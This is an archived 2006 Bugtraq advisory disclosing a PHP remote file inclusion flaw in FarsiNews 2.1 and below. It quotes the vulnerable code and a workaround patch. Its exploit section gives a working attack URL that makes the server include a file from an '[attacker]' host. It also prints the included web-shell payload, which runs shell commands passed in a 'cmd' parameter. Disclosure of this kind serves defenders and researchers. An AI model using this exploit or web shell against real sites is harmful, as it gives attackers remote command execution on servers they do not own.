bugtraq - FarsiNews 2.1 PHP Remote File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060131134757.98994.qmail@web33205.mail.mud.yahoo.com>
Date: Tue, 31 Jan 2006 05:47:57 -0800 (PST)
From: h e <het_ebadi@...oo.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com,
	"content-editor@...urityfocus.com" <content-editor@...urityfocus.com>,
	"editor@...urityfocus.com" <editor@...urityfocus.com>,
	"expert@...uriteam.com" <expert@...uriteam.com>,
	"news-editor@...urityfocus.com" <news-editor@...urityfocus.com>,
	"support@...unia.com" <support@...unia.com>,
	"vuldb@...urityfocus.com" <vuldb@...urityfocus.com>,
	"vuln@...unia.com" <vuln@...unia.com>,
	"webmaster@...unia.com" <webmaster@...unia.com>,
	"webmaster@...urityfocus.com" <webmaster@...urityfocus.com>
Subject: FarsiNews 2.1 PHP Remote File Inclusion

Remote File Inclusion in  FarsiNews 2.1 and below
Credit:
The information has been provided by Hamid Ebadi
(Hamid Network Security Team) :admin@...id.ir.
The original article can be found at :
http://hamid.ir/security

Vulnerable Systems:
    FarsiNews 2.1 Beta 2 and below

Vulnerable Code: 
The following lines in loginout.php :
require_once($cutepath."/inc/functions.inc.php");
require_once($cutepath."/data/config.php");

Exploits:
If register_globals=ON  has been marked (check
PHP.INI) we can exploit  below URL to cause it to
include external file.

The following URL will cause the server to include
external files  ( phpshell.txt ):
http://[target]/loginout.php?cmd=dir&cutepath=http://[attacker]/phpshell.txt?

phpshell.txt
-------------------
<?
system ($_GET['cmd']);
die ("<h3>http://Hamid.ir >> Hamid Ebadi << (Hamid
Network Security Team)</h3> ");
?>
-----[EOF]--------

Workaround:
use FarsiNews 2.5 or for Unofficial Patch , simply add
the following line in  the second line of
loginout.php:

if (isset($_REQUEST["cutepath"])){ die("Patched by
Hamid Ebadi -->http://hamid.ir  ( Hamid Network
Security Team)  "); }

Signature

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com